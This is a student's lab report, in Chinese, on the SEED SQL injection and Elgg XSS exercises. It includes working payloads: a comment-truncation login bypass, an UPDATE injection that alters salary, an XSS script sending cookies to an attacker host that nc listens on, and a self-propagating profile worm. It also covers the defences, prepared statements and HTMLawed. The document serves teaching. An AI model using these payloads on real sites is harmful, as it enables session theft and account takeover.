20253904 2025-2026-2 《网络攻防实践》第十周作业
20253904 2025-2026-2 《网络攻防实践》第十周作业
Part 1
1. 实验内容
实践内容
1. SEED SQL注入攻击与防御实验
我们已经创建了一个Web应用程序,并将其托管在 三达不溜.SEEDLabSQLInjection.com。该Web应用程序是一个简单的员工管理应用程序。员工可以通过此Web应用程序查看和更新数据库中的个人信息。此Web应用程序主要有两个角色:管理员是特权角色,可以管理每个员工的个人资料信息。员工是一般角色,可以查看或更新自己的个人资料信息。完成以下任务:
- 熟悉SQL语句: 我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等)。在此任务中,您需要使用数据库来熟悉SQL查询。
- 对SELECT语句的SQL注入攻击:上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。
- 对UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。
- SQL对抗:修复上述SQL注入攻击漏洞。
2. SEED XSS跨站脚本攻击实验(Elgg)
为了演示攻击者可以利用XSS漏洞做什么,我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的Web应用程序。在本实验中,学生需要利用此漏洞对经过修改的Elgg发起XSS攻击,攻击的最终目的是在用户之间传播XSS蠕虫,这样,无论是谁查看的受感染用户个人资料都将被感染。
- 发布恶意消息,显示警报窗口:在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。
- 弹窗显示cookie信息:将cookie信息显示。
- 窃取受害者的cookies:将cookie发送给攻击者。
- 成为受害者的朋友:使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程。
- 修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。
- 编写XSS蠕虫。
- 对抗XSS攻击。
实验环境:
- 硬件环境:
- GPU:NVIDIA GeForce RTX 5070 Ti Laptop
- CPU:AMD Ryzen 9 9955HX(16 核)
- 软件环境:
- 操作系统:Windows 11 家庭中文版
- 虚拟化平台:VMware Workstation 16.2.4
- 虚拟机镜像:SEED ubuntu 16.04
2. 实验过程
在开始实验前,需要先准备一台配置好实验环境的 SEED Ubuntu 虚拟机,按常规流程新建 Ubuntu 虚拟机,完成系统安装与基础环境配置。
2.1 SEED SQL注入攻击与防御实验
首先按照要求,将主机名修改为 dhp,具体方法可参考上次作业。

图 2.1.1 修改 hostname 和相关配置
熟悉 SQL 语句
首先通过 sudo service apache2 status 查看 Apache2 的运行状态,可以看到其处于正常运行(active)状态。

图 2.1.2 查看 Apache2 运行情况
通过 mysql -u root -p 连接到 MySQL 数据库,密码为 seedubuntu。

图 2.1.3 连接到 MySQL 数据库
输入 show databases; 查看已经建立的数据库。

图 2.1.4 查看数据库
输入 use Users; 选择 Users 数据库,再输入 show tables; 查看其中建立的数据表。

图 2.1.5 选择数据库并查看建立的数据表
输入 select * from credential; 查看数据表中的所有数据。

图 2.1.6 查看表中的所有数据
输入 select * from credential where Name = "Ted"; 查询表中姓名为 “Ted” 的数据。

图 2.1.7 查询表中姓名为 “Ted” 的数据
对 SELECT 语句的 SQL 注入攻击
在浏览器中访问 www.seedlabsqlinjection.com,进入实验准备好的登录页面。

图 2.1.8 SQL 注入实验的登录页面
右键选择 View Page Source 查看页面源码,可以发现它通过 GET 方法调用了 unsafe_home.php。

图 2.1.9 查看页面源码,定位到文件 unsafe_home.php
该文件位于 /var/www/SQLinjection/unsafe_home.php。查看后可以看到它构建的查询语句,筛选条件为 name 和 Password;继续往下还能看到它对用户名做了判断,其中管理员用户的名字是 Admin。


图 2.1.10 查看 SQL 语句和管理员名字
经过上面的分析,可以在登录时于用户名一栏输入 Admin'#。这样在拼接查询语句时,整条 SQL 会变成 SELECT id, name, ..., Password FROM credential WHERE name='Admin'#' and Password=...,其中 # 后面的内容会被当作注释忽略掉,于是就能在不知道密码的情况下登录管理员账户。

图 2.1.11 通过 SQL 注入登录 Admin 账户
无需输入密码即可直接登录,可以看到成功进入系统并显示出了所有员工的数据。

图 2.1.12 成功登录并查看到所有信息
对 UPDATE 语句的 SQL 注入攻击
退出 Admin 账户,改用 Alice 账户(密码为 seedalice)登录。登录后点击页面上方的 Edit Profile 进入信息编辑页面,再右键选择 View Page Source 查看源码。

图 2.1.13 查看编辑页面的源码
通过对源码的分析,可以定位到对应的更新语句位于文件 /var/www/SQLinjection/unsafe_edit_backend.php,在文件中能看到对应的 SQL 语句。

图 2.1.14 在 unsafe_edit_backend.php 中找到的 UPDATE 语句
与 SELECT 注入攻击思路类似,同样利用注释截断来实现注入:在 NickName 一栏输入 ', salary=114514 WHERE name='Alice' #,即可截断并改写后面的条件。

图 2.1.15 实现 UPDATE 注入攻击
保存后可以看到 Salary 字段已经被修改为 114514。

图 2.1.16 查看注入攻击效果:对应字段已被修改
SQL 对抗
对后端代码进行修改,采用预编译(Prepared Statement)的方式:先把 SQL 指令模板发送给数据库,再单独绑定并传入参数。这样参数只会被当作数据处理,而不会被解释为 SQL 代码。将原来的 SELECT 语句改为:
$sql = $conn->prepare(
"SELECT id, name, eid, salary, birth, ssn,
phoneNumber, address, email, nickname, Password
FROM credential WHERE name=? and Password=?;"
);
$sql->bind_param("ss", $input_uname, $hashed_pwd);
$sql->execute();
$result = $sql->get_result();
if(!$result){
...
}

图 2.1.17 修改 SELECT 相关语句
再次尝试前面的 SELECT 注入攻击,攻击失败。

图 2.1.18 SELECT 注入攻击失败
按照同样的思路,把 UPDATE 相关语句修改为如下内容:
if($input_pwd != ''){
$hashed_pwd = sha1($input_pwd);
$_SESSION['pwd'] = $hashed_pwd;
$sql = $conn->prepare("UPDATE credential SET nickname=?, email=?, address=?, Password=?, PhoneNumber=? WHERE ID=$id;");
$sql->bind_param("sssss", $input_nickname, $input_email, $input_address, $hashed_pwd, $input_phonenumber);
} else {
$sql = $conn->prepare("UPDATE credential SET nickname=?, email=?, address=?, PhoneNumber=? WHERE ID=$id;");
$sql->bind_param("ssss", $input_nickname, $input_email, $input_address, $input_phonenumber);
}
$sql->execute();

图 2.1.19 修改 UPDATE 相关语句
再次尝试前面的 UPDATE 注入攻击,攻击失败。

图 2.1.20 UPDATE 注入攻击失败
2.2 SEED XSS 跨站脚本攻击实验(Elgg)
发布恶意消息,显示警报窗口
打开网页 http://www.xsslabelgg.com,输入用户名和密码进行登录。实验中一共提供了四个账号:
| 用户名 | 密码 |
|---|---|
| Alice | seedalice |
| Boby | seedboby |
| Samy | seedsamy |
| Admin | seedelgg |
先登录 Alice,点击左上角的 Profile,再点击 Edit Profile 进入个人信息编辑页面,在 Brief description 中写入 <script>alert("20253904");</script>。

图 2.2.1 嵌入 JavaScript 程序,显示警报窗口
保存后,每次进入该主页都会弹出显示对应信息的警报窗口。

图 2.2.2 警报窗口
弹窗显示 cookie 信息
把 Brief description 里的内容改成 <script>alert(document.cookie);</script>。

图 2.2.3 嵌入 JavaScript 程序,显示 cookie
保存后,每次进入该主页都会弹出包含 cookie 信息的窗口。

图 2.2.4 含有 cookie 信息的弹窗
窃取受害者的 cookies
首先通过 ifconfig 查看虚拟机的 IP 地址,可以看到 IP 为 192.168.200.7。

图 2.2.5 查看虚拟机 IP 地址
把 Brief description 里的内容改成:
<script>
document.write('<img src=http://192.168.200.7:1921?c=' + escape(document.cookie) + '>');
</script>

图 2.2.6 嵌入 JavaScript 程序,把 cookie 信息发送到 1921 端口
打开终端,输入 nc -l 1921 -v 监听 1921 端口;此时再访问 Alice 的主页,就可以在终端看到输出的 cookie 信息。

图 2.2.7 通过 1921 端口监听受害者的 cookie 信息
成为受害者的朋友
先访问 Boby 的主页,按 F12 打开开发者工具并切换到 Network 选项卡,点击添加 Boby 为好友,可以在 Network 中看到其 ID 为 45;用同样的方法可以看到 Alice 的 ID 为 44。

图 2.2.8 通过开发者工具确定用户 ID
在 Alice 的 Edit Profile 界面找到 About me,点击右上角的 Edit HTML,在其中输入下面这段代码:
<script type="text/javascript">
window.onload = function () {
var Ajax = null;
var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;
var token = "&__elgg_token=" + elgg.security.token.__elgg_token;
var sendurl = "http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token;
Ajax = new XMLHttpRequest();
Ajax.open("GET", sendurl, true);
Ajax.setRequestHeader("Host", "www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
Ajax.send();
}
</script>

图 2.2.9 输入 JS 程序,无需受害者干预即可将其加为好友
随后切换到 Boby 账号,访问 Alice 的主页,就会发现 Boby 已经自动把 Alice 加为了好友。

图 2.2.10 受害者访问后自动将攻击者加为好友
修改受害者的信息
随意修改一下 Alice 主页的信息,再用开发者工具查看请求的 URL,获取其 URL 格式,其中的 guid 为 44。


图 2.2.11 通过开发者工具查看相关信息
在 Alice 的 About me 里输入下面这段代码:
<script type="text/javascript">
window.onload = function(){
//JavaScript code to access user name, user guid, Time Stamp __elgg_ts
//and Security Token __elgg_token
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var content=token+ts+"name="+userName+"&description=<p>phd40935202</p>&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2"+guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit";
var aliceGuid=44;
if(elgg.session.user.guid!=aliceGuid){
//Create and send Ajax request to modify profile
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>

图 2.2.12 输入 JS 程序
此时登录 Boby,进入 Alice 的主页,就会发现 Boby 的主页介绍已经被篡改。

图 2.2.13 受害者访问后主页信息被直接修改
编写 XSS 蠕虫
编写一段 XSS 蠕虫代码,它不仅会篡改访问者的个人资料,还会把自身代码复制到对方的个人简介里,从而实现自我复制、不断传播——只要有人打开被感染的页面就会中招。把下面的代码复制到 Alice 的 About me 里:
<script id="worm" type="text/javascript">
window.onload = function(){
var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
var jsCode = document.getElementById("worm").innerHTML;
var tailTag = "</" + "script>";
var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
//Construct the content of your url.
var content= token + ts + "&name=" + userName + "&description=<p>alice is watching you by 20253904dhp</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
alert(content)
var aliceGuid=44;
if(elgg.session.user.guid!=aliceGuid){
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>

图 2.2.14 输入 XSS 蠕虫程序
接下来切换到 Boby,进入 Alice 的主页,就会发现 Boby 的主页信息也遭到了篡改。

图 2.2.15 蠕虫攻击了 Boby,修改了其主页信息
再切换到 Samy,访问 Boby 的主页,会发现 Samy 的主页同样被篡改,说明蠕虫正在正常传播。

图 2.2.16 蠕虫经由 Boby 攻击了 Samy,修改了其主页信息
对抗 XSS 攻击
登录 Admin 账号,访问后台管理页面 www.xsslabelgg.com/admin,选择 Plugins -> HTMLawed,点击 Activate 启用该防护插件。

图 2.2.17 通过管理员后台启用 HTMLawed 防护
此时重新登录 Alice,可以看到蠕虫程序已经失效。

图 2.2.18 蠕虫程序失效
Part 2 学习总结
1. 知识点总结
一、SQL注入
1. 漏洞原理
当应用程序把用户输入直接拼接进 SQL 语句、且未做有效处理时,数据库引擎无法区分哪一部分是开发者预设的指令、哪一部分是用户提供的数据。攻击者便可构造特殊输入,让自己的内容被当作 SQL 语法的一部分来执行。其本质是“代码与数据发生了混淆”。
2. 注入点与分类
凡是能进入 SQL 语句的输入都可能成为注入点,常见的有 URL 参数(GET)、表单(POST)、Cookie,乃至 User-Agent、Referer 等 HTTP 头。按利用技术,一般分为:联合查询注入(Union-based)、报错注入(Error-based)、布尔盲注(Boolean-based Blind)、时间盲注(Time-based Blind)、堆叠注入(Stacked Queries)、带外注入(OOB)。
3. 常见手法与危害
注入可能出现在各类语句中(SELECT、INSERT、UPDATE、DELETE)。常见手法包括闭合引号、#/-- 注释截断、or 1=1 恒真绕过等;借此可绕过认证、拖库、篡改删除数据,权限允许时还能读写文件甚至执行系统命令。
4. 防御方法
预编译语句 / 参数化查询(最根本)、ORM 框架、输入校验与白名单、最小权限、关闭详细报错、WAF 辅助。过滤转义只是“治标”,参数化查询才是“治本”。
二、跨站脚本攻击(XSS, Cross-Site Scripting)
1. 漏洞原理
应用把不可信输入未经处理作为 HTML / JS 输出,浏览器无法分辨合法脚本与注入脚本,恶意脚本便以受害者身份执行。
2. 主要分类
- 存储型(持久型):恶意脚本被保存到服务器端(如本实验中存进了个人资料),任何浏览该页面的用户都会中招,危害最大,本实验即属于此类。
- 反射型(非持久型):脚本通过 URL 参数被即时“反射”回页面,需诱导受害者点击特制链接。
- DOM 型:完全在前端的 DOM 操作中被触发,不经过服务器。
3. 常见手法与危害
注入上下文包括 HTML 内容/属性、JS、URL、CSS 等;危害有窃取 Cookie 与会话、钓鱼、配合 CSRF 发起请求、挂马接入 BeEF、编写自我复制的 XSS 蠕虫。
4. 防御方法。
上下文相关的输出编码(核心)、白名单输入净化(HTMLPurifier/HTMLawed)、CSP、Cookie 加 HttpOnly/Secure、规避 innerHTML/eval 等危险 sink、借助框架自动转义。
2. 学习中遇到的问题与解决
问题1: 修改受害者主页信息的代码不生效。
问题1解决方案: 通过开发者工具查看传输的URL,发现URL拼接有误,修改后能够正常生效。
3. 学习感悟与思考
打ctf的同学跟我说,他当时入门ctf第一课就是学的sql注入,确实这种攻击即通俗易懂,又效果显著,通过简单的注释截断就可以直接绕过登录验证进入系统获取数据。也让我体会到了攻击方和防御方的不对等,攻击方几个字符就能打进系统,要修复就得翻阅源码,修改相应的部分。
还有一个比较大的体会是,安全不能等出了事再打补丁。这次的两个漏洞,本质上都是开发时图省事——直接拼 SQL、直接把用户输入塞进页面。如果一开始就用参数化查询、就对输出做转义,这些攻击根本无从下手。所以“永远不要相信用户的输入”这句话,以前只是当口号听,这回算是真的体会到了它的分量。

浙公网安备 33010602011771号